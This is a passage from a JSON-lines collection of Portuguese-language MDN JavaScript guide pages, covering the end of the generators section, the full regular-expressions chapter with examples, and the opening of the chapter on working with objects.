suspenso atual do generator, como se o `yield` atualmente suspenso fosse um `throw`.\n\nSe um yield não for encontrado durante o processo de lançamento de um thrown exception, então o exception será propagado através da chamada do `throw()`, e pra subsequente chamada do `next()` que terá a propriedade done resultando em `true`.\n\nGenerators têm o método `return(value)` (en-US) que retorna o valor pego e finaliza o generator.\n\n* « Previous\n* Next »"}
{"title":"Expressões Regulares - JavaScript","text":"Expressões Regulares\n====================\n\n* « Previous\n* Next »\n\nExpressões regulares são padrões utilizados para selecionar combinações de caracteres em uma string. Em JavaScript, expressões regulares também são objetos. Elas podem ser utilizadas com os métodos `exec` (en-US) e `test` (en-US) do objeto `RegExp` (en-US), e com os métodos `match` (en-US), `replace` (en-US),`search` (en-US), e `split` (en-US) do objeto `String`. Este capítulo descreve o uso de expressões regulares em JavaScript.\n\nCriando uma Expressão Regular\n-----------------------------\n\nHá duas maneiras de construir uma expressão regular:\n\nUsando uma expressão literal, que consiste em um padrão fechado entre barras, como o exemplo a seguir:\n\n\n```js\nconst re = /ab+c/;\n```\n\n\nAs expressões regulares na forma literal são compiladas quando o script é carregado. Esta forma de construção possui melhor performace quando a expressão regular utilizada é uma constante, ou seja, não muda durante a execução.\n\nOu chamando o construtor do objeto `RegExp` (en-US):\n\n\n```js\nlet re = new RegExp(\"ab+c\");\n```\n\n\nUsando o construtor, a compilação da expressão regular é realizada em tempo de execução. Use o construtor quando souber que o padrão da expressão regular irá mudar ou quando o padrão for desconhecido, oriundo de outra fonte, uma entrada de usuário por exemplo.\n\n**Nota:** Nota: Se você já está familiarizado com as formas de uma expressão regular, também pode ler o resumo (en-US) para uma rápida pesquisa de um padrão específico.\n\nEscrevendo um padrão de expressão regular\n-----------------------------------------\n\nUm padrão de expressão é composto por um conjunto de caracteres simples, como `/abc/`, ou uma combinação de caracteres simples e especiais, como `/ab*c/` ou `/Capitulo (\\d+)\\.\\d*/`. O último exemplo contém parênteses, que são usados como um mecanismo de armazenamento. A correspondência feita por essa parte da expressão é armazenada para uso posterior, como descrito em: Using Parenthesized Substring Matches.\n\n### Uso de Padrões Simples\n\nPadrões simples são construídos utilizando os caracteres que você deseja encontrar correspondências diretas. Por exemplo, o padrão `/abc/` encontra combinações de caracteres em strings apenas quando os caracteres 'abc' forem encontrados juntos e na ordem especificada. Esse padrão será encontrado com sucesso nas strings \"Olá, você conhece o **abc**?\" e \"Os mais recentes aviões evoluíram do sl**abc**raft.\". Em ambos os casos, a correspondência estará no subconjunto 'abc'. Porém, o padrão não será encontrado no texto \"Grab crab\" pois apesar de conter os mesmos caractes do padrão 'ab c', estes não aparecem na ordem especificada.\n\n### Uso dos Caracteres Especiais\n\nQuando for necessário buscar algo além de uma correspondência direta, como encontrar uma ou mais ocorrências da letra 'b', ou encontrar espaços em branco, será necessário adicionar caracteres especiais ao padrão. Por exemplo, para encontrar uma única correspondência de 'a' seguido de nenhum ou mais 'b's seguido de 'c', o padrão a utilizar seria `/ab*c/`. O caractere `*` seleciona zero ou mais ocorrências do item que o precede. Se aplicada ao texto 'cbb**abbbbc**debc', essa expressão regular encontraria o subconjunto grifado no texto.\n\nA tabela abaixo fornece uma lista completa dos caracteres especiais que podem ser utilizados nas expressões regulares, com sua respectiva descrição. Para testar os exemplos de expressão regular você pode usar o regExr.\n\nCaracteres especiais utilizados em expressões regulares.| Caractere | Descrição |\n| --- | --- |\n| `\\` | Aplicado conforme as seguintes regras:\n\n Uma barra invertida que preceda um caractere não especial significa\n que o caractere seguinte é especial e não deve ser interpretado de\n forma literal. Por exemplo, o caractere 'b' quando não precedido de\n uma barra invertida significará uma ocorrência do próprio caractere\n 'b' minúsculo, porém se precedido da barra invertida\n `'\\b'` ele passará a significar a ocorrência do caractere\n especial\n [fronteira do caractere](#special-word-boundary).\n\n\n Quando a barra invertida preceder um caractere especial isso\n significará que o próximo caractere deve ser interpretado de forma\n literal. Por exemplo o padrão `/a*/`, que selecionará a\n ocorrência de zero ou mais caracteres 'a' quando utilizado sem a \\\n para escape. Por outro lado no padrão `/a\\*/` o asterisco\n deixa de ter seu significado especial, pois a '\\' de escape fará com\n que o '\\*' seja interpretado de forma literal, passando o padrão a\n selecionar o caractere 'a' seguido do caractere '\\*'.\n\n\n Quando utilizar o construtor RegExp(\"padrao\"), não se esqueça de fazer\n o escape do caractere \\, já que esse caractere é também utilizado como\n caractere de escape em strings.\n  |\n| `^` | \n Corresponde ao início do texto. Se a flag multilinhas é setada para\n true, também se aplica imediatamente após um caractere de quebra de\n linha.\n\n\n Por exemplo, `/^A/` não corresponde ao 'A' em \"Um Alvo\",\n mas corresponde ao 'A' em \"Alvo Encontrado\".\n\n\nEste caractere tem um significado diferente quando aparece como\n o primeiro caractere em um conjunto padrão de caracteres. Veja\n conjunto de caracteres negados ou complementados\n para detalhes e mais exemplos.\n  |\n| `$` | \n Corresponde ao final do texto. Se a flag multilinhas é setada para\n true, também se aplica imediatamente antes de um caractere de quebra\n de linha.\n\n\n Por exemplo, `/r$/` não corresponde ao 'r' em \"corre\", mas\n acha correspondência em \"correr\".\n  |\n| `*` | \n Corresponde a expressão que o precede repetida 0 ou mais vezes.\n Equivalente a {0,}\n\n\n Por exemplo, `/bo*/` acha uma correspondência para 'boo'\n em \"boolean\" e 'b' em \"A bird warbled\", mas nenhuma em \"A goat\n grunted\".\n  |\n| `+` | \n Corresponde a expressão que o precede repetido 1 ou mais vezes.\n Equivalente a {1,}.\n\n\n Por exemplo, `/a+/` acha correspondência para o 'a' em\n \"candy\" e todos os \"as\" em \"caaaaaaandy\", mas nâo encontra em \"cndy\".\n  |\n| `?` | \n Corresponde a expressão que o precede repetido 0 ou 1 vez. Equivalente\n à {0,1}.\n\n\n Por exemplo, `/e?le?/` encontra o 'el' em \"angel\" e o 'le'\n em \"angle\" e também o 'l' em \"oslo\".\n\n\n Se usado imediatamente após qualquer um dos quantificadores\n `*`, `+`, `?` ou `{}`, faz\n o quantificador não guloso (combinando o número mínimo de vezes), como\n um oposto para o padrão que é guloso (combinar o número máximo\n possível). Por exemplo, aplicando `/\\d+/` em \"123abc\"\n encontra \"123\". Mas aplicando `/\\d+?/`, apenas \"1\" será\n encontrado.\n\n\n Também usado em declarações lookahead, descritas sob\n `x(?=y)` e `x(?!y)`logo abaixo na tabela.\n  |\n| `.` | \n (O ponto decimal) corresponde com qualquer caracter, exceto o caracter\n de nova linha.\n\n\n Por exemplo, `/.n/` acha correspondência para o 'an' e 'on'\n em \"nove dias restantes para onze de agosto.\", mas não encontra 'no'\n em 'nove'.\n  |\n| `(x)` | \n Pesquisa correspondência com o caractere 'x' e memoriza-o, como a o\n exemplo a seguir mostra. Os parênteses são chamados\n *parênteses de captura*.\n\n\n Por exemplo, o '(foo)' e '(bar)' no padrão\n `/(foo) (bar) \\1 \\2/` encontra e memoriza a primeira das\n duas palavras na string \"foo bar foo bar\". O \\1 e \\2 no padrão combina\n as duas últimas palavras da string. Note que \\1, \\2, \\n são utilizados\n na parte correspondente do regex.\n  |\n| `(?:x)` | \n Pesquisa correspondência com o caractere 'x' porém não o memoriza. Os\n parênteses são chamados de *parênteses de não-captura* e permitem\n que você defina uma subexpressão para operadores de expressão regular\n trabalhar com eles. Considere essa expressão de exemplo\n `/(?:foo){1,2}/`. Se a expressão era `/foo{1,2}/`,\n o {1,2} poderia ser aplicado apenas para o último 'o' em 'foo'. Com os\n parênteses de não-captura, o {1,2} é aplicado para toda a palavra 'foo'.\n  |\n| `x(?=y)` | \n Pesquisa correspondência em 'x' apenas se 'x' é seguido por 'y'. Isso\n é chamado de *lookahead*.\n\n\n Por exemplo, `/Jack(?=Sprat)/` busca 'Jack' apenas se é\n seguido por 'Sprat'. `/Jack(?=Sprat|Frost)/` busca 'Jack'\n apenas se ele é seguido por 'Sprat' ou 'Frost'. No entanto, 'Sprat'\n nem 'Frost' faz parte do resultado retornado.\n  |\n| `x(?!y)` | \n Pesquisa correspondência em 'x' apenas se 'x' não é seguido por 'y'.\n Isso é chamado *negação lookahead*.\n\n\n Por exemplo, `/\\d+(?!\\.)/` encontra um número apenas se ele\n não for seguido por um ponto decimal. A expressão regular\n `/\\d+(?!\\.)/.exec(\"3.141\")` encontra '141' mas não '3.141'.\n  |\n| `x|y` | Pesquisa correspondência em 'x' ou 'y'.\n\n Por exemplo, `/verde|vermelha/` encontra 'verde' em \"maçã\n verde\" e 'vermelha' em \"maçã vermelha.\"\n  |\n| `{n}` | \n Pesquisa n ocorrências correspondentes ao caracter precedido. Onde,\n `n` deve ser um inteiro positivo.\n\n\n Por exemplo, `/a{2}/` não encontra o 'a' em \"candy,\" mas\n encontra-o se houver a quantidade de a's informarda em \"caandy,\" e os\n dois primeiros a's em \"caaandy.\"\n  |\n| `{n,m}` | \n Pesquisa a n menor correspondência e a m maior correspondência do\n caractere precedido. Quando n ou m é zero, ele poderá ser omitido.\n Onde, `n` e `m` devem ser inteiros positivo.\n\n\n Por exemplo, `/a{1,3}/` não encontra nada em \"cndy\", mas\n encontra o 'a' em \"candy\", encontra os dois primeiros a's em \"caandy,\"\n e encontra os três primeiros a's em \"caaaaaaandy\". Observe que, ao\n fazer a correspondência de \"caaaaaaandy\", serão encontrados apenas os\n \"aaa\", mesmo que a string tenha mais a's.\n  |\n| `[xyz]` | \n Um conjunto de caracteres. Pesquisa correspondência para qualquer um\n dos caracteres entre colchetes. Você pode especificar um intervalo de\n caracteres usando hífen. Caracteres especiais (como o ponto (.) e o\n asterisco(\\*)) não tem significado algum quando está dentro de um\n conjunto de caracteres. Não necessita utilizar escape neles. Mas, se\n utilizar escape também irá funcionar.\n\n\n Por exemplo, `[abcd]` é o mesmo que `[a-d]`. Com\n a expressão será encontrado o 'b' em \"beijo\" e o 'c' em \"chop\". A\n expressão `/[a-z.]+/` e `/[\\w.]+/` ambos\n encontraram as letras que formam \"test.i.ng\".\n  |\n| `[^xyz]` | \n Um conjunto de caracteres negados ou complementados. Isto é, combina\n com qualquer coisa que não esteja listado entre os colchetes. Você\n pode especificar um intervalo de caracteres usando hífen. Tudo que\n funciona no conjunto de caracteres (apresentado acima) também funciona\n aqui.\n\n\n Por exemplo, `[^abc]` é o mesmo que `[^a-c]`.\n Com a expressão será encontrado inicialmente 'e' em \"beijo\" e 'h' em\n \"chop.\"\n  |\n| `[\\b]` | \n Pesquisa correspondência com espaço em branco (U+0008). É preciso\n utilizar os colchetes se você quer encontrar um espaço em branco. (Não\n confunda-o com `\\b`.)\n  |\n| `\\b` | \n Pesquisa correspondência em uma fronteira de caractere. Uma fronteira\n de caractere corresponde a posição onde um caractere/palavra não é\n seguido ou antecedido por outro caractere/palavra. Isto é, em\n fronteira de caractere não pode haver nenhum caractere ou espaço, seu\n tamanho deve ser vazio. (não confunda-o com [\\b].)\n\n\n Exemplos:`/\\bmoo/` encontra a substring 'moo' em\n \"moon\" ;`/oo\\b/` não encontra o 'oo' em \"moon\",\n devido o 'oo' ser seguido por 'n' que é um caractere;`/oon\\b/`\n encontra a substring 'oon' em \"moon\", devido 'oon' ser o fim da\n string, ou seja, não é seguido por nenhum caractere;`/\\w\\b\\w/`\n não encontrará nada, pois o caractere nunca será seguido por um não\n caractere e um caractere.\n\n\n**Nota:** O mecanismo de expressão regular no\n JavaScript define um conjunto específico de caracteres para serem\n caracteres \"palavras\". Qualquer caractere que não esteja neste\n conjunto é considerado uma quebra de palavra. Este conjunto de\n caractere é bastante limitado: consiste apenas no alfabeto romano\n tanto maiúsculo como minúsculo, digítos decimais, e o caractere\n sublinhado. Caracteres acentuados, tal como \"é\" ou \"ã\" são,\n infelizmente, tratados como palavras quebradas.\n\n |\n| `\\B` | \n Pesquisa correspondência que não seja em uma fronteira de caractere.\n Para a correspondência é associada uma posição onde o caractere\n anterior e o próximo tem as mesmas características: ambos são\n caractere/palavra, ou ambos não sejam caractere/palavra. O início e o\n fim de uma string não considerados como não caractere/palavra.\n\n\n Por exemplo, /\\B../ encontra correspondente 'oo' em \"boolean\", e\n /y\\B./ encontra correspondente 'ye' em \"possibly yesterday.\"\n  |\n| `\\c*X*` | \n Onde X é um caractere pertencente ao conjunto A-Z. Encontra\n correspondência de um\n caractere de controle\n em uma string.\n\n\n Por exemplo, `/\\cM/` encontra correspondente control-M\n (U+000D) em uma string.\n  |\n| `\\d` | Encontra correspondência com um número. Equivalente a [0-9].\n\n Por exemplo, `/\\d/` ou `/[0-9]/` encontra\n correspondente '8' em \"Dróide BB8\".\n  |\n| `\\D` | \n Encontra correspondência com um caractere que não seja número.\n Equivalente a [^0-9].\n\n\n Por exemplo, `/\\D/` ou `/[^0-9]/` econtra\n correspondente 'C' em \"C3 está ativada.\"\n  |\n| `\\f` | \n Encontra correspondência com um caractere de escape\n *avanço de página* (U+000C).\n  |\n| `\\n` | \n Encontra correspondência com um caractere de escape\n *quebra de linha* (U+000A).\n  |\n| `\\r` | \n Encontra correspondência com um caractere de escape\n *retorno de carro* (U+000D).\n  |\n| `\\s` | \n Encontra correspondência com um único caractere de espaço em branco,\n espaço, tabulação, avanço de página, quebra de linha. Equivalente a\n `[\n\\f\\n\\r\\t\\v\\u00A0\\u1680\\u180e\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200a\\u2028\\u2029\\u2028\\u2029\\u202f\\u205f\\u3000]`.\n\n\n Por exemplo, `/\\s\\w*/` encontra correspondente ' bar' em\n \"foo bar.\"\n  |\n| `\\S` | \n Encontra correspondência em um único caractere que não seja espaço em\n branco. Equivalente a\n `[^\n\\f\\n\\r\\t\\v\\u00A0\\u1680\\u180e\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200a\\u2028\\u2029\\u2028\\u2029\\u202f\\u205f\\u3000]`.\n\n\n Por exemplo, `/\\S\\w*/` encontra correspondente 'foo' em\n \"foo bar.\"\n  |\n| `\\t` | Encontra correspondência em uma tabulação (U+0009). |\n| `\\v` | Encontra correspondência em uma tabulação vertical (U+000B). |\n| `\\w` | \n Encontra correspondência de qualquer caractere alfanumérico incluindo\n underline. Equivalente a `[A-Za-z0-9_]`.\n\n\n Por exemplo, `/\\w/` encontra correspondente 'a' em \"apple,\"\n '5' em \"$5.28,\" e '3' em \"3D.\"\n  |\n| `\\W` | \n Encontra correspondência em um não caractere. Equivalente a\n `[^A-Za-z0-9_]`.\n\n\n Por exemplo, `/\\W/` ou\n `/[^A-Za-z0-9_]/` encontra correspondente '%' em \"50%.\"\n  |\n| `\\*num*` | \n Onde num é um inteiro positivo. Faz referência a substring pertencente\n à um grupo, um grupo é definido entre parênteses. Grupos são numerados\n de 1 até 9.\n\n\n Por exemplo, /(muito) (cacique) pra \\2 \\1/ encontra 'muito cacique pra\n cacique muito' em 'Na aldeia tem muito cacique pra cacique muito.'\n  |\n| `\\0` | \n Encontra correspondência em um caractere NULL (U+0000). Não adicione\n outro número após o zero, pois\n `\\0<digitos> é um escape para número octal`.\n  |\n| `\\xhh` | Encontra correspondência com o código hh (dois valores hexadecimal). |\n| `\\uhhhh` | Encontra correspondência com o código hhh (três valores hexadecimal). |\n| \\u{hhhh} | \n (funciona apenas com a flag u) Encontra correspondência com o valor\n Unicode hhhh (dígitos hexadecimais).\n  |\n\n### Usando Parênteses\n\nUsar parênteses em volta de qualquer parte de uma expressão regular faz com que essa parte seja lembrada para ser usada depois, como descrito em Usando as Substrings entre Parênteses na Expressão Regular.\n\nPor Exemplo, a expressão `/Capitulo (\\d+)\\.\\d*/` ilustra caracteres adicionais escapados e especiais e indica que parte do padrão deve ser lembrado. Corresponde precisamente aos caracteres 'Capitulo ' seguidos por um ou mais caracteres numéricos (`\\d` significa qualquer caracter numérico e `+` significa 1 ou mais vezes), seguidos por um ponto decimal (que é um caracter especial; preceder com um \\ significa que a expressão regular deve buscar pelo caracter literal '.'), seguido por qualquer caracter numérico 0 ou mais vezes (`\\d` significa caracter numérico, `*` significa 0 ou mais vezes). Além disso, os parenteses são usados para relembrar os primeiros caracteres numéricos correspondentes.\n\nEsse padrão é encontrado em \"Abra o capitulo 4.3, parágrafo 6\" o '4' é relembrado. O padrão não é encontrado em \"Capitulo 3 e 4\", porque essa string não tem um período após o '3'.\n\nPara encontrar uma substring sem que a correspondência seja relembrada, dentro dos parênteses inicie o padrão com `?:`. Por exemplo, `(?:\\d+)` corresponde a um ou mais caracteres numéricos mas não relembra os caracteres correspondentes.\n\nTrabalhando com expressões regulares\n------------------------------------\n\nExpressões Regulares são usadas com os metodos `test` e `exec` do objeto `RegExp`e com os metodos `match`, `replace`, `search`, e `split` do objeto `String`. Estes metodos são explicados em detalhe em JavaScript Reference.\n\n| Metodo | Descrição |\n| --- | --- |\n| `exec` (en-US) | Um método `RegExp` que execute uma pesquisa por uma correspondência em uma string. Retorna um array de informações. |\n| `test` (en-US) | Um método `RegExp` que testa uma correspondência em uma string. Retorna true ou false. |\n| `match` (en-US) | Um método `String` que executa uma pesquisa por uma correspondência em uma string. Retorna uma array de informações ou null caso não haja uma correspondência. |\n| `search` (en-US) | Um método `String` que testa uma correspondência em uma string. Retorna o indice da correspondência ou -1 se o teste falhar. |\n| `replace` (en-US) | Um método `String` que executa uma pesquisa por uma correspondência em uma string, e substitui a substring correspondênte por uma substring de substituição. |\n| `split` (en-US) | Um método `String` que usa uma expressão regular ou uma string fixa para quebrar uma string dentro de um array de substrings. |\n\nQuando você quer saber se um padrão é encontrado em uma string, use o método `test` ou `search`; para mais informações (mas execução mais lenta) use o método `exec` ou `match`. Se você usar `exec` ou `match` e se houver correspondência, estes métodos retornam um array e atualizam as propriedades do objeto da expressão regular associada e também do objeto da expressão regular predfinada `RegExp`. Se não houver corespondência, o método `exec` retorna `null` (convertido para `false`).\n\nNo seguinte exemplo, o script usa o método `exec` para encontrar uma correspondência em uma string.\n\n\n```js\nvar myRe = /d(b+)d/g;\nvar myArray = myRe.exec(\"cdbbdbsbz\");\n```\n\n\nSe você não precisa acessar as propriedades da expressão regular, uma alternativa de criar `myArray` é com esse script:\n\n\n```js\nvar myArray = /d(b+)d/g.exec(\"cdbbdbsbz\");\n```\n\n\nSe você quiser construir a expressão regular a partir de uma string, outra alternativa é esse script:\n\n\n```js\nvar myRe = new RegExp(\"d(b+)d\", \"g\");\nvar myArray = myRe.exec(\"cdbbdbsbz\");\n```\n\n\nCom esses scripts, a correspondência é encontrada o array é retornado e são atualizadas as propriedades mostradas na tabela a seguir.\n\nTable 4.3 Resultados da execução de expressões regulares.| Objeto | Propriedade or indice | Descrição | Nesse exemplo |\n| --- | --- | --- | --- |\n| `myArray` |  | A string correspondente e todas as substrings relembradas. | `[\"dbbd\", \"bb\"]` |\n| `index` | O índice do encontro em relação à string original. | `1` |\n| `input` | A string original. | `\"cdbbdbsbz\"` |\n| `[0]` | Os últimos caracteres encontrados. | `\"dbbd\"` |\n| `myRe` | `lastIndex` | \n O índice no qual iniciar a próxima partida. (Esta propriedade é\n configurada apenas se a expressão regular usar a opção g, descrita em\n [Advanced Searching With Flags](#Advanced\\_Searching\\_With\\_Flags).)\n  | `5` |\n| `source` | \n O texto da expressão regular. Atualizado quando a expressão é criada,\n não executada.\n  | `\"d(b+)d\"` |\n\nComo mostrado na segunda forma deste exemplo, você pode usar uma expressão regular criada com um inicializador de objeto sem atribuí-la à uma variável. Contudo, se você o fizer, toda ocorrência é uma nova expressão regular. Assim sendo, se você usar esta forma sem atribuí-la à uma variável, você não pode subsequentemente acessar as propriedades da expressão regular. Assumamos que tenha este script, por exemplo:\n\n\n```js\nvar myRe = /d(b+)d/g;\nvar myArray = myRe.exec(\"cdbbdbsbz\");\nconsole.log(\"O útltimo índice é \" + myRe.lastIndex);\n```\n\n\nEste script mostra:\n```\n\nO último índice é 5\n```\n\n\nContudo, se tem este script:\n\n\n```js\nvar myArray = /d(b+)d/g.exec(\"cdbbdbsbz\");\nconsole.log(\"O último índice é \" + /d(b+)d/g.lastIndex);\n```\n\n\nEle mostra:\n```\n\nO último índice é 0\n```\n\n\nAs ocorrências de `/d(b+)d/g` nas duas declarações são objetos expressões regulares diferentes e consequentemente têm diferentes valores para suas propriedades `lastIndex`. Se precisa acessar as propriedades de uma expressão regular criada com um inicializaor de objeto, você deve primeiro atribuí-la à uma variável.\n\n### Usando as Substrings entre Parênteses na Expressão Regular\n\nA inclusão de parênteses em um padrão de expressão regular faz com que a sub-correspondência correspondente seja lembrada. Por exemplo, `/a(b)c/` corresponde aos caracteres 'abc' e lembra 'b'. Para recuperar essas correspondências de substring entre parênteses, use o `Arra[1]`, ..., `[n]`.\n\nO número de substring entre parênteses possíveis é ilimitado. A matriz retornada contém tudo o que foi encontrado. Os exemplos a seguir ilustram como usar parênteses entre parênteses.\n\n#### Exemplo 1\n\nO script a seguir usa o método `replace()` (en-US) para alternar as palavras na string. Para o texto de substituição, o script usa o `$1` e `$2` na substituição para indicar a primeira e a segunda correspondências de substring entre parênteses.\n\n\n```js\nvar re = /(\\w+)\\s(\\w+)/;\nvar str = \"John Smith\";\nvar newstr = str.replace(re, \"$2, $1\");\nconsole.log(newstr);\n```\n\n\nIsto imprime \"Smith, John\".\n\n### Pesquisa avançada com Flags\n\nAs expressões regulares possuem quatro flags opcionais as quais se incluem a pesquisa global e case insensitive. Para realizar uma pesquisa global, utilize a flag g. Para realizar uma pesquisa sem diferenciar letras maiúsculas de minúsculas, utilize a flag i. Para realizar uma pesquisa multi-linhas, utilize a flag m. Ao realizar uma pesquisa \"sticky\", o ponto de partida será a posição corrente da string alvo, use com a flag y.Estas flags podem ser usadas separadamente ou juntas, em qualquer ordem, e serão inclusas como parte da expressão regular.\n\nPara incluir um sinalizador com a expressão regular, use esta sintaxe:\n\n\n```js\nvar re = /pattern/flags;\n```\n\n\nou\n\n\n```js\nvar re = new RegExp(\"pattern\", \"flags\");\n```\n\n\nObserve que os sinalizadores são parte integrante de uma expressão regular. Eles não podem ser adicionados ou removidos posteriormente.\n\nPor exemplo, `re = /\\w+\\s/g` cria uma expressão regular que procura um ou mais caracteres seguidos por um espaço e procura essa combinação em toda a cadeia.\n\n\n```js\nvar re = /\\w+\\s/g;\nvar str = \"fee fi fo fum\";\nvar myArray = str.match(re);\nconsole.log(myArray);\n```\n\n\nIsso exibe [\"fee \", \"fi \", \"fo \"]. Neste exemplo, você pode substituir a linha\n\n\n```js\nvar re = /\\w+\\s/g;\n```\n\n\npor:\n\n\n```js\nvar re = new RegExp(\"\\\\w+\\\\s\", \"g\");\n```\n\n\ne obtenha o mesmo resultado.\n\nO sinalizador `m` é usado para especificar que uma sequência de entrada de múltiplas linhas deve ser tratada como várias linhas. Se o sinalizador `m` for usado, `^` e `$` combinam no início ou no final de qualquer linha na sequência de entrada, em vez do início ou no final de toda a sequência.\n\nExemplos\n--------\n\nOs exemplos que se seguem mostram mais usos expressões regulares.\n\n### Alterando o pedido em uma string de entrada\n\nO exemplo a seguir ilustra a formação de expressões regulares e o uso de `string.split()` e `string.replace()`. Ela limpa uma string de entrada formatada com nomes (primeiro nome sobrenome) separados por espaço em branco, tabulações e exatamente um ponto e virgula. Por fim, inverte a ordem do nome (sobrenome e primeiro nome) e ordena a lista\n\n\n```js\n// A cadeia de nomes contém vários espaços e guias,\n// e pode ter vários espaços entre o nome e o sobrenome.\nvar names = \"Harry Trump ;Fred Barney; Helen Rigby ; Bill Abel ; Chris Hand \";\n\nvar output = [\"---------- String original\\n\", names + \"\\n\"];\n\n// Prepare dois padrões de expressão regular e armazenamento em array.\n// Divide a string em elementos da matriz.\n\n// pattern: possível espaço em branco, em seguida, ponto e vírgula, em seguida, possível espaço em branco\nvar pattern = /\\s\\*;\\s\\*/;\n\n// Quebra string em pedaços separados pelo padrão acima e\n// armazene as partes em uma matriz chamada nameList\nvar nameList = names.split(pattern);\n\n// new pattern: um ou mais caracteres, espaços e caracteres.\n// Use parênteses para \"memorizar\" partes do padrão.\n// As partes memorizadas são referenciadas mais tarde.\npattern = /(\\w+)\\s+(\\w+)/;\n\n// Nova matriz para armazenar nomes sendo processados.\nvar bySurnameList = [];\n\n// Exibe a matriz de nomes e preenche a nova matriz\n// com nomes separados por vírgula, último primeiro.\n//\n// O método replace remove qualquer coisa que corresponda ao padrão\n// e substitui-o pela sequência memorizada - segunda parte memorizada\n// seguido por espaço de vírgula seguido pela primeira parte memorizada.\n//\n// As variáveis $ 1 e $ 2 se referem às partes\n// memorizado enquanto corresponde ao padrão.\n\noutput.push(\"---------- Após Separar pela Expressão Regular\");\n\nvar i, len;\nfor (i = 0, len = nameList.length; i < len; i++) {\n  output.push(nameList[i]);\n  bySurnameList[i] = nameList[i].replace(pattern, \"$2, $1\");\n}\n\n// Exibe a nova matriz.\noutput.push(\"---------- Nomes Invertidos\");\nfor (i = 0, len = bySurnameList.length; i < len; i++) {\n  output.push(bySurnameList[i]);\n}\n\n// Classifica pelo sobrenome e exibe a matriz classificada.\nbySurnameList.sort();\noutput.push(\"---------- Ordenado\");\nfor (i = 0, len = bySurnameList.length; i < len; i++) {\n  output.push(bySurnameList[i]);\n}\n\noutput.push(\"---------- Fim\");\n\nconsole.log(output.join(\"\\n\"));\n```\n\n### Usando caracteres especiais para verificar entradas\n\nNo exemplo a seguir, é esperado que o usuário informe um número de telefone. Quando o usuário pressionar o botão \"Check\", o script verificará a validade do número. Se o número for válido (a sequência de caracteres especificada corresponderá a expressão regular), então, o script exibe uma mensagem agradecendo o usuário e confirmando o seu número. Se o número for inválido, o script informa ao usuário que o número de telefone não é válido.\n\nA expressão regular procura por zero ou uma ocorrência de parênteses de abertura \\(?, seguido de três dígitos \\d{3}, seguido de zero ou uma ocorrência de parênteses de fechamento \\)?, seguido de um hífen, barra ou ponto decimal e, quando encontrado, guarda o caractere ([-\\/\\.]), seguido de três dígitos \\d{3}, seguido por um caractere de hífen, barra ou ponto decimal que fora guardado \\1, seguido por quatro dígitos \\d{4}.\n\nCom o evento Change ativo, quando o usuário pressionar Enter, o valor será capturado por RegExp.input.\n\n\n```html\n<!doctype html>\n<html>\n  <head>\n    <meta http-equiv=\"Content-Type\" content=\"text/html; charset=ISO-8859-1\" />\n    <meta http-equiv=\"Content-Script-Type\" content=\"text/javascript\" />\n    <script type=\"text/javascript\">\n var re = /\\(?\\d{3}\\)?([-\\/\\.])\\d{3}\\1\\d{4}/;\n function testInfo(phoneInput) {\n var OK = re.exec(phoneInput.value);\n if (!OK)\n window.alert(\n RegExp.input + \" Não é um número de telefone com código de área!\",\n );\n else window.alert(\"Obrigado, o seu número de telefone é \" + OK[0]);\n }\n </script>\n  </head>\n  <body>\n    <p>\n      Informe o seu número de telefone (com código de área) e então clique em\n      \"Check\". <br />O formato esperado é ###-###-####.\n    </p>\n    <form action=\"#\">\n      <input id=\"phone\" /><button\n onclick=\"testInfo(document.getElementById('phone'));\">\n        Check\n      </button>\n    </form>\n  </body>\n</html>\n```\n\n* « Previous\n* Next »"}
{"title":"Trabalhando com objetos - JavaScript","text":"Trabalhando com objetos\n=======================\n\n**A linguagem JavaScript é projetada com base em um simples paradigma orientado a objeto. Um objeto é uma coleção de propriedades, e uma propriedade é uma associação entre um nome (ou *chave*) e um valor. Um valor de propriedade pode ser uma função, que é então considerada um *método* do objeto. Além dos objetos que são pré-definidos no browser, você pode definir seus próprios objetos.**\n\n**Este capítulo descreve como usar objetos, propriedades, funções, e métodos, e como criar seus próprios objetos.**\n\nVisão geral de objetos\n----------------------\n\nObjetos em JavaScript, assim como em muitas outras linguagens de programação, podem ser comparados com objetos na vida real. O conceito de objetos em JavaScript pode ser entendido com objetos tangíveis da vida real.\n\nEm JavaScript, um objeto é uma entidade independente, com propriedades e tipos. Compare-o com uma xícara, por exemplo. Uma xícara é um objeto, com propriedades. Uma xícara tem uma cor, uma forma, peso, um material de composição, etc. Da mesma forma, objetos em JavaScript podem ter propriedades, que definem suas características.\n\nObjetos e propriedades\n----------------------\n\nUm objeto em JavaScript tem propriedades associadas a ele. Uma propriedade de um objeto pode ser explicada como uma variável que é ligada ao objeto. Propriedades de objetos são basicamente as mesmas que variáveis normais em JavaScript, exceto pelo fato de estarem ligadas a objetos. As propriedades de um objeto definem as características do objeto. Você acessa as propriedades de um objeto com uma simples notação de ponto:\n\n\n```js\nnomeDoObjeto.nomeDaPropriedade;\n```\n\n\nComo as variáveis em JavaScript, o nome do objeto (que poderia ser uma variável normal) e um nome de propriedade diferem em maiúsculas/minúsculas (por exemplo, cor e Cor são propriedades diferentes). Você pode definir uma propriedade atribuindo um valor a ela. Por exemplo, vamos criar um objeto chamado `meuCarro` e dar a ele propriedades chamadas `fabricacao`, `modelo`, e `ano`, conforme mostrado a seguir:\n\n\n```js\nvar meuCarro = new Object();\nmeuCarro.fabricacao = \"Ford\";\nmeuCarro.modelo = \"Mustang\";\nmeuCarro.ano = 1969;\n```\n\n\nPropriedades não definidas de um objeto são `undefined` (e não `null`).\n\n\n```js\nmeuCarro.semPropriedade; //undefined\n```\n\n\nPropriedades de objetos em JavaScript podem também ser acessadas ou alteradas usando-se notação de colchetes. Objetos são às vezes chamados de *arrays associativos*, uma vez que cada propriedade é associada com um valor de string que pode ser usado para acessá-la. Então, por exemplo, você poderia acessar as propriedades do objeto `meuCarro` como se segue:\n\n\n```js\nmeuCarro[\"fabricacao\"] = \"Ford\";\nmeuCarro[\"modelo\"] = \"Mustang\";\nmeuCarro[\"ano\"] = 1969;\n```\n\n\nUm nome de propriedade de um objeto pode ser qualquer string JavaScript válida, ou qualquer coisa que possa ser convertida em uma string, incluindo uma string vazia. No entanto, qualquer nome e propriedade que não é um identificador JavaScript válido (por exemplo, um nome de propriedade que tem um espaço ou um hífen, ou que começa com um número) só pode ser acessado(a) usando-se a notação de colchetes. Essa notação é também muito útil quando nomes de propriedades devem ser determinados dinamicamente (quando o nome da propriedade não é 